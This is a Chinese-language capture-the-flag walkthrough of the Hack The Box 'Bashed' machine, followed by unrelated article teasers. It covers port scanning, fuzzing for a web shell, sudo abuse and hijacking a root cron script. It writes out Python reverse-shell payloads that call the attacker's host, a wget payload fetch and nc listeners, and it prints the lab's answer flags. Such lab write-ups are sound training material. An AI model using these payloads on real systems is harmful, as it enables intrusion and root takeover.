HTB:Bashed[WriteUP]

目录

连接至HTB服务器并启动靶机

1.How many open TCP ports are listening on Bashed?

2.What is the relative path on the webserver to a folder that contains phpbash.php?

3.What user is the webserver running as on Bashed?

执行命令:whoami

4.Submit the flag located in the arrexel user's home directory.

USER_FLAG:cbe6de5b0feafc1ab51318e2ee21537f

5.www-data can run any command as a user without a password. What is that user's username?

6.What folder in the system root can scriptmanager access that www-data could not?

Payload

7.What is filename of the file that is being run by root every couple minutes?

查看test.py文件内容

8.Submit the flag located in root's home directory.

ROOT_FLAG:291ef33b4e52533112fc62ee76664fad


连接至HTB服务器并启动靶机

靶机IP:10.10.10.68

分配IP:10.10.16.6


1.How many open TCP ports are listening on Bashed?

使用nmap对靶机进行端口扫描

nmap -p- -T4 --min-rate=1500 -sS -Pn {TARGET_IP}

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# nmap -p- -T4 --min-rate=1500 -sS -Pn 10.10.10.68
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-19 00:12 EDT
Nmap scan report for 10.10.10.68
Host is up (0.096s latency).
Not shown: 65534 closed tcp ports (reset)
PORT   STATE SERVICE
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 29.52 seconds

由扫描结果可见,靶机开放端口:80共1个端口


2.What is the relative path on the webserver to a folder that contains phpbash.php?

在靶机主页面中,可以找到phpbash的相关博客

使用ffuf对靶机进行路径FUZZ,找到phpbash的位置

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# ffuf -u http://10.10.10.68/FUZZ/phpbash.php -w ../dictionary/common.txt

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://10.10.10.68/FUZZ/phpbash.php
 :: Wordlist         : FUZZ: /home/kali/Desktop/dictionary/common.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

.hta                    [Status: 403, Size: 302, Words: 22, Lines: 12, Duration: 144ms]
.htpasswd               [Status: 403, Size: 307, Words: 22, Lines: 12, Duration: 144ms]
.htaccess               [Status: 403, Size: 307, Words: 22, Lines: 12, Duration: 169ms]
dev                     [Status: 200, Size: 8151, Words: 3407, Lines: 216, Duration: 70ms]
server-status           [Status: 403, Size: 311, Words: 22, Lines: 12, Duration: 72ms]
:: Progress: [4614/4614] :: Job [1/1] :: 415 req/sec :: Duration: [0:00:09] :: Errors: 0 ::

由输出可见,当在路径/dev时,靶机响应状态码为200


3.What user is the webserver running as on Bashed?

直接访问该文件:http://{TARGET_IP}/dev/phpbash.php

执行命令:whoami

由回显可见,运行该Web服务器的用户为:www-data


4.Submit the flag located in the arrexel user's home directory.

查找user_flag位置

find / -name 'user.txt'

查看user_flag内容

cat /home/arrexel/user.txt

www-data@bashed
:/var/www/html/dev# cat /home/arrexel/user.txt

cbe6de5b0feafc1ab51318e2ee21537f

USER_FLAG:cbe6de5b0feafc1ab51318e2ee21537f


5.www-data can run any command as a user without a password. What is that user's username?

查看当前用户可执行的特权命令

sudo -l

www-data@bashed
:/var/www/html/dev# sudo -l

Matching Defaults entries for www-data on bashed:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on bashed:
(scriptmanager : scriptmanager) NOPASSWD: ALL

由回显可见,当前用户可以作为scriptmanager用户执行所有命令


6.What folder in the system root can scriptmanager access that www-data could not?

利用靶机存在python环境反弹shell

Payload

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("{NATIVE_IP}",{NATIVE_PORT}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

本地侧nc开启监听

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# nc -lvnp 1425      
listening on [any] 1425 ...
connect to [10.10.16.6] from (UNKNOWN) [10.10.10.68] 51118
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data

列出根目录下所有文件夹及其权限

$ script /dev/null -c bash
Script started, file is /dev/null
www-data@bashed:/var/www/html/dev$ ls -la /
ls -la /
total 92
drwxr-xr-x  23 root          root           4096 Jun  2  2022 .
drwxr-xr-x  23 root          root           4096 Jun  2  2022 ..
-rw-------   1 root          root            174 Jun 14  2022 .bash_history
drwxr-xr-x   2 root          root           4096 Jun  2  2022 bin
drwxr-xr-x   3 root          root           4096 Jun  2  2022 boot
drwxr-xr-x  19 root          root           4140 Oct 18 20:56 dev
drwxr-xr-x  89 root          root           4096 Jun  2  2022 etc
drwxr-xr-x   4 root          root           4096 Dec  4  2017 home
lrwxrwxrwx   1 root          root             32 Dec  4  2017 initrd.img -> boot/initrd.img-4.4.0-62-generic
drwxr-xr-x  19 root          root           4096 Dec  4  2017 lib
drwxr-xr-x   2 root          root           4096 Jun  2  2022 lib64
drwx------   2 root          root          16384 Dec  4  2017 lost+found
drwxr-xr-x   4 root          root           4096 Dec  4  2017 media
drwxr-xr-x   2 root          root           4096 Jun  2  2022 mnt
drwxr-xr-x   2 root          root           4096 Dec  4  2017 opt
dr-xr-xr-x 174 root          root              0 Oct 18 20:56 proc
drwx------   3 root          root           4096 Oct 18 20:57 root
drwxr-xr-x  18 root          root            500 Oct 18 20:56 run
drwxr-xr-x   2 root          root           4096 Dec  4  2017 sbin
drwxrwxr--   2 scriptmanager scriptmanager  4096 Jun  2  2022 scripts
drwxr-xr-x   2 root          root           4096 Feb 15  2017 srv
dr-xr-xr-x  13 root          root              0 Oct 18 22:02 sys
drwxrwxrwt  10 root          root           4096 Oct 18 22:29 tmp
drwxr-xr-x  10 root          root           4096 Dec  4  2017 usr
drwxr-xr-x  12 root          root           4096 Jun  2  2022 var
lrwxrwxrwx   1 root          root             29 Dec  4  2017 vmlinuz -> boot/vmlinuz-4.4.0-62-generic

由回显可见:/scripts文件夹scriptmanager可以访问而www-data不能


7.What is filename of the file that is being run by root every couple minutes?

直接通过sudo切换到scriptmanager用户

www-data@bashed:/var/spool/cron$ sudo -i -u scriptmanager
sudo -i -u scriptmanager
scriptmanager@bashed:~$ whoami
whoami
scriptmanager

进入/scripts目录下

cd /scripts

查看该目录下所有文件及其权限和访问时间

ls -la

scriptmanager@bashed:/scripts$ ls -la
ls -la
total 16
drwxrwxr--  2 scriptmanager scriptmanager 4096 Oct 18 23:19 .
drwxr-xr-x 23 root          root          4096 Jun  2  2022 ..
-rw-r--r--  1 scriptmanager scriptmanager   58 Dec  4  2017 test.py
-rw-r--r--  1 root          root            12 Oct 18 23:19 test.txt

当我把test.txt文件进行删除后,过了两分钟又会重新生成一个新日期的test.txt

查看test.py文件内容

scriptmanager@bashed:/scripts$ cat test.py
cat test.py
f = open("test.txt", "w")
f.write("testing 123!")
f.close

可见该py文件的作用是:打开test.txt并往里写入内容

以此可以确定该test.py文件被root用户包含在了定时任务内


8.Submit the flag located in root's home directory.

在本地写入一个新的test.py文件,利用它传入靶机来反弹shell

import socket,subprocess,os;

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("10.10.16.6",1426));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);

将靶机scripts目录下所有文件删除

scriptmanager@bashed:/scripts$ rm test.py test.txt
rm test.py test.txt
rm: remove write-protected regular file 'test.txt'? yes
yes
scriptmanager@bashed:/scripts$ ls
ls
scriptmanager@bashed:/scripts$

将本地test.py上传至靶机

wget http://{NATIVE_IP}:{NATIVE_PORT}/test.py -O test.py

scriptmanager@bashed:/scripts$ wget http://10.10.16.6:6666/test.py -O test.py
wget http://10.10.16.6:6666/test.py -O test.py
--2024-10-18 23:26:42--  http://10.10.16.6:6666/test.py
Connecting to 10.10.16.6:6666... connected.
HTTP request sent, awaiting response... 200 OK
Length: 221 [text/x-python]
Saving to: 'test.py'

test.py             100%[===================>]     221  --.-KB/s    in 0s      

2024-10-18 23:26:42 (70.6 MB/s) - 'test.py' saved [221/221]

scriptmanager@bashed:/scripts$ ls
ls
test.py

赋上777权限,以便root用户拥有足够的权限运行该文件

chmod 777 test.py

本地侧nc开启新的端口监听,等待root用户定时任务运行test.py

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# nc -lvnp 1426
listening on [any] 1426 ...
connect to [10.10.16.6] from (UNKNOWN) [10.10.10.68] 55542
/bin/sh: 0: can't access tty; job control turned off
# whoami
root

查找root_flag位置

find / -name 'root.txt'

查看root_flag内容

cat /root/root.txt

# find / -name 'root.txt'
/root/root.txt
# cat /root/root.txt
291ef33b4e52533112fc62ee76664fad

ROOT_FLAG:291ef33b4e52533112fc62ee76664fad

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/web/55692.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

GraphRAG 与 RAG 的比较分析,收藏这一篇就够了!!!

检索增强生成(RAG)技术概述 检索增强生成(Retrieval-Augmented Generation,简称 RAG)是一种旨在提升大型语言模型(Large Language Models,LLMs)性能的技术方法。其核心思想是通过整…

5 -《本地部署开源大模型》在Ubuntu 22.04系统下ChatGLM3-6B高效微调实战

在Ubuntu 22.04系统下ChatGLM3-6B高效微调实战 无论是在单机单卡(一台机器上只有一块GPU)还是单机多卡(一台机器上有多块GPU)的硬件配置上启动ChatGLM3-6B模型,其前置环境配置和项目文件是相同的。如果大家对配置过程还…

如何给手机换ip地址

在当今数字化时代,IP地址作为设备在网络中的唯一标识,扮演着举足轻重的角色。然而,有时出于隐私保护、网络访问需求或其他特定原因,我们可能需要更改手机的IP地址。本文将详细介绍几种实用的方法,帮助您轻松实现手机IP…

一元n次多项式乘法【数据结构-链表】

一元n次多项式定义如下: 其中Ai​为实数,i为不小于0的整数。在完成“一元n次多项式输入输出”题目的基础上实现一元n次多项式的乘法。要求使用链表实现上述运算。 输入格式: 有两个一元n次多项式,格式分别为: f(X)3X2 X1 g(X)−…

MySQL 知识点_01

1、DISTINCT select DISTINCT EMPLOYEE_ID ,FIRST_NAME from employees 按照ID去重,DISTINCT的字段要放在前面,不会再继续在FIRST_NAME上去重判断; 如果需要多字段去重,需要用到group by,这个后面讲; …

一次恶意程序分析

首先F12shift查看字符表 字符表发现可疑字符串 双击进入 再tab 进入这里 推测为main函数 可见一些可疑的api FindResourceW推测该木马使用了资源加载 VirtualAlloc申请内存 然后sub_1400796E0 有 dwSize 参数 推测为 拷贝内存 memcpy类似函数 、 然后sub_140078CB0函数 跟进函…

HarmonyOS NEXT 应用开发实战(五、页面的生命周期及使用介绍)

HarmonyOS NEXT是华为推出的最新操作系统,arkUI是其提供的用户界面框架。arkUI的页面生命周期管理对于开发者来说非常重要,因为它涉及到页面的创建、显示、隐藏、销毁等各个阶段。以下是arkUI页面生命周期的介绍及使用举例。 页面的生命周期的作用 页面…

【正点原子K210连载】第四十六章 车牌识别实验 摘自【正点原子】DNK210使用指南-CanMV版指南

第四十六章 车牌识别实验 在上一章节中,介绍了利用maix.KPU模块实现了通过提取图像中人脸的特征进行人脸识别,本章将继续介绍利用maix.KPU模块实现的车牌识别。通过本章的学习,读者将学习到车牌识别应用在CanMV上的实现。 本章分为如下几个小…

视觉识别技术:开启智能视觉新时代

引言 在数字化时代,信息的获取和处理变得前所未有的重要。视觉识别技术,作为人工智能领域的一个重要分支,正在逐渐改变我们与数字世界的互动方式。它通过模拟人类视觉系统,使计算机能够识别和理解图像和视频中的内容,…

Shell案例之一键部署mysql

1.问题 我认为啊学习就是一个思考的过程,思考问题的一个流程应该是:提出问题,分析问题,解决问题 在shell里部署mysql服务时,我出现一些问题: 1.安装mysql-server时,没有密钥,安装…

普通java web项目集成spring-session

之前的老项目,希望使用spring-session管理会话,存储到redis。 项目环境:eclipse、jdk8、jetty嵌入式启动、非spring项目。 实现思路: 1.添加相关依赖jar。 2.配置redis连接。 3.配置启动spring。 4.配置过滤器,拦…

L1练习-鸢尾花数据集处理(分类/聚类)

背景 前文(《AI 自学 Lesson1 - Sklearn(开源Python机器学习包)》)以鸢尾花数据集的处理为例,本文将完善其代码,在使用 sklearn 的部分工具包基础上,增加部分数据预处理、数据分析和数据可视化…

QUIC 协议的优势

QUIC 协议的优势包括: 快速建立连接:将传输层和加密层的握手合并,减少了连接建立的延迟。QUIC 建连时间大约为 0~1RTT,相比 HTTPS 的 3RTT 建连,具有极大的优势。客户端第一次建连的握手协商需 1RTT,而已建…

Linux 和Windows创建共享文件夹实现文件共享

直接开整 1.Windows下创建共享文件夹share右击-》属性—》共享-》选择所有人-》点击共享 2.共享创建完成后可以使他的共享网络地址或者Windows ip地址-推荐使用Windows ip地址有时候 不知道什么原因他Linux解析不了网络地址 共享网络地址 —共享文件夹share 右击-》属性—》共…

扫普通链接二维码打开小程序

1. 2.新增规则(注意下载文件到跟目录下,需要建个文件夹放下载的校验文件) 3.发布 ps:发布后,只能访问正式版本。体验版本如果加了 测试链接http://xxx/xsc/10 那么http://xxx/xsc/aa.....应该都能访问 例如aa101 aa…

CMOS晶体管的串联与并联

CMOS晶体管的串联与并联 前言 对于mos管的串联和并联,一直没有整明白,特别是设计到EDA软件中,关于MOS的M和F参数,就更困惑了,今天看了许多资料以及在EDA软件上验证了电路结构与版图的对应关系,总算有点收…

VScode中CMake无高亮(就是没有补全的提示)

在我学的过程中我发现我的CMake是这样的,如下图 但在教学视频里是这样的(如下图) 这非常的难受,所以疯狂的找,最后是CMake报错有 原因就是:本地没有配置环境变量,解决方法是下一个cmake然后直接…

STM32-CubeIDE用串口通讯

USART串口通讯 一、轮询模式 1.设置所接引脚为UART异步模式 选择完成CTRLS保存。 2.编写测试代码(自动发送hello world) 在mian函数里面编写代码 原函数 调用函数,需要数据类型一致,使用函数通过串口发送数组里面的数据 打开串…

延迟队列实现及其原理详解

1.绪论 本文主要讲解常见的几种延迟队列的实现方式,以及其原理。 2.延迟队列的使用场景 延迟队列主要用于解决每个被调度的任务开始执行的时间不一致的场景,主要包含如下场景: 1.比如订单超过15分钟后,关闭未关闭的订单。 2.比如用户可以…

基于springboot+微信小程序校园自助打印管理系统(打印1)

👉文末查看项目功能视频演示获取源码sql脚本视频导入教程视频 1、项目介绍 基于springboot微信小程序校园自助打印管理系统实现了管理员、店长和用户。管理员实现了用户管理、店长管理、打印店管理、打印服务管理、服务类型管理、预约打印管理和系统管理。店长实现…